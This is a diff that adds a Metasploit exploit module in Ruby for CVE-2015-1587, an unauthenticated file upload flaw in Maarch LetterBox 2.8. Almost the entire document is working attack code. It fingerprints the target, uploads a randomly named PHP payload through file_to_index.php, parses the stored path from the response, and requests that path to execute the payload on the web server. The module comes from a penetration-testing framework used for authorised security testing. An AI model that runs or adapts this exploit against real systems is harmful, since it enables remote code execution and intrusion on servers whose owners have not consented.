|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://www.metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | +require 'uri' |
| 8 | + |
| 9 | +class Metasploit3 < Msf::Exploit::Remote |
| 10 | + Rank = ExcellentRanking |
| 11 | + |
| 12 | + include Msf::Exploit::Remote::HttpClient |
| 13 | + include Msf::Exploit::FileDropper |
| 14 | + |
| 15 | + def initialize(info = {}) |
| 16 | + super(update_info( |
| 17 | + info, |
| 18 | + 'Name' => 'Maarch LetterBox 2.8 Unrestricted File Upload', |
| 19 | + 'Description' => %q{ |
| 20 | + This module exploits a file upload vulnerability on Maarch LetterBox 2.8 due to a lack of |
| 21 | + session and file validation in the file_to_index.php script. It allows unauthenticated |
| 22 | + users to upload files of any type and subsequently execute PHP scripts in the context of |
| 23 | + the web server. |
| 24 | + }, |
| 25 | + 'License' => MSF_LICENSE, |
| 26 | + 'Author' => |
| 27 | + [ |
| 28 | + 'Rob Carr <rob[at]rastating.com>' |
| 29 | + ], |
| 30 | + 'References' => |
| 31 | + [ |
| 32 | + ['CVE', '2015-1587'] |
| 33 | + ], |
| 34 | + 'DisclosureDate' => 'Feb 11 2015', |
| 35 | + 'Platform' => 'php', |
| 36 | + 'Arch' => ARCH_PHP, |
| 37 | + 'Targets' => [['Maarch LetterBox 2.8', {}]], |
| 38 | + 'DefaultTarget' => 0 |
| 39 | + )) |
| 40 | + |
| 41 | + register_options( |
| 42 | + [ |
| 43 | + OptString.new('TARGETURI', [true, 'The base path to Maarch LetterBox', '/']) |
| 44 | + ], self.class) |
| 45 | + end |
| 46 | + |
| 47 | + def letterbox_login_url |
| 48 | + normalize_uri(target_uri.path, 'login.php') |
| 49 | + end |
| 50 | + |
| 51 | + def letterbox_upload_url |
| 52 | + normalize_uri(target_uri.path, 'file_to_index.php') |
| 53 | + end |
| 54 | + |
| 55 | + def check |
| 56 | + res = send_request_cgi('method' => 'GET', 'uri' => letterbox_login_url) |
| 57 | + if res.nil? || res.code != 200 |
| 58 | + return Msf::Exploit::CheckCode::Unknown |
| 59 | + elsif res.body.include?('alt="Maarch Maerys Archive v2.1 logo"') |
| 60 | + return Msf::Exploit::CheckCode::Appears |
| 61 | + end |
| 62 | + |
| 63 | + Msf::Exploit::CheckCode::Safe |
| 64 | + end |
| 65 | + |
| 66 | + def generate_mime_message(payload, name) |
| 67 | + data = Rex::MIME::Message.new |
| 68 | + data.add_part(payload.encoded, 'text/plain', 'binary', "form-data; name=\"file\"; filename=\"#{name}\"") |
| 69 | + data |
| 70 | + end |
| 71 | + |
| 72 | + def exploit |
| 73 | + print_status("#{peer} - Preparing payload...") |
| 74 | + payload_name = "#{Rex::Text.rand_text_alpha(10)}.php" |
| 75 | + data = generate_mime_message(payload, payload_name) |
| 76 | + |
| 77 | + print_status("#{peer} - Uploading payload...") |
| 78 | + res = send_request_cgi( |
| 79 | + 'method' => 'POST', |
| 80 | + 'uri' => letterbox_upload_url, |
| 81 | + 'ctype' => "multipart/form-data; boundary=#{data.bound}", |
| 82 | + 'data' => data.to_s |
| 83 | + ) |
| 84 | + fail_with(Failure::Unreachable, 'No response from the target') if res.nil? |
| 85 | + fail_with(Failure::UnexpectedReply, "Server responded with status code #{res.code}") if res.code != 200 |
| 86 | + |
| 87 | + print_status("#{peer} - Parsing server response...") |
| 88 | + captures = res.body.match(/\[local_path\] => (.*\.php)/i).captures |
| 89 | + fail_with(Failure::UnexpectedReply, 'Unable to parse the server response') if captures.nil? || captures[0].nil? |
| 90 | + payload_url = normalize_uri(target_uri.path, captures[0]) |
| 91 | + print_good("#{peer} - Response parsed successfully") |
| 92 | + |
| 93 | + print_status("#{peer} - Executing the payload at #{payload_url}") |
| 94 | + register_files_for_cleanup(File.basename(URI.parse(payload_url).path)) |
| 95 | + send_request_cgi({ 'uri' => payload_url, 'method' => 'GET' }, 5) |
| 96 | + end |
| 97 | +end |
0 commit comments